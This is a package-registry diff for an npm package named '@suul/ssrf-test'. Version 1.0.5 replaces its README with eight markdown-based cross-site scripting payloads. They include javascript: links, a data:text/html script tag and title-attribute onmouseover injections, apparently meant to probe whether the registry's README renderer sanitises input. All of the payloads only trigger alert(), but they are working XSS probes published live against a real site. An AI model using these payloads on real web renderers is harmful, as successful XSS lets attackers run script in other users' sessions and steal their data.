@suul/ssrf-test 1.0.4 → 1.0.5
This diff represents the content of publicly available package versions that have been released to one of the supported registries. The information contained in this diff is provided for informational purposes only and reflects changes between package versions as they appear in their respective public registries.
- package/README.md +24 -4
- package/package.json +2 -2
package/README.md
CHANGED
|
@@ -1,7 +1,27 @@
|
|
|
1
|
-
#
|
|
1
|
+
# XSS Tests via Markdown Syntax
|
|
2
2
|
|
|
3
|
-
|
|
3
|
+
## Test 1: Standard markdown link with javascript:
|
|
4
|
+
[XSS Click Me](javascript:alert(document.domain))
|
|
4
5
|
|
|
5
|
-
##
|
|
6
|
+
## Test 2: Reference-style markdown link
|
|
7
|
+
[XSS Ref][xss]
|
|
6
8
|
|
|
7
|
-
|
|
9
|
+
[xss]: javascript:alert(document.domain)
|
|
10
|
+
|
|
11
|
+
## Test 3: Autolink
|
|
12
|
+
<javascript:alert(1)>
|
|
13
|
+
|
|
14
|
+
## Test 4: image with javascript
|
|
15
|
+
)
|
|
16
|
+
|
|
17
|
+
## Test 5: Markdown link with data:
|
|
18
|
+
[data xss](data:text/html,<script>alert(1)</script>)
|
|
19
|
+
|
|
20
|
+
## Test 6: URL encoding in markdown link
|
|
21
|
+
[enc](javascript:alert(1))
|
|
22
|
+
|
|
23
|
+
## Test 7: Markdown link with \\n injection
|
|
24
|
+
[text](https://x.com "onmouseover=alert(1) x=")
|
|
25
|
+
|
|
26
|
+
## Test 8: title attr injection via markdown
|
|
27
|
+
[text](https://npmjs.com " onmouseover=alert(document.domain) ")
|
package/package.json
CHANGED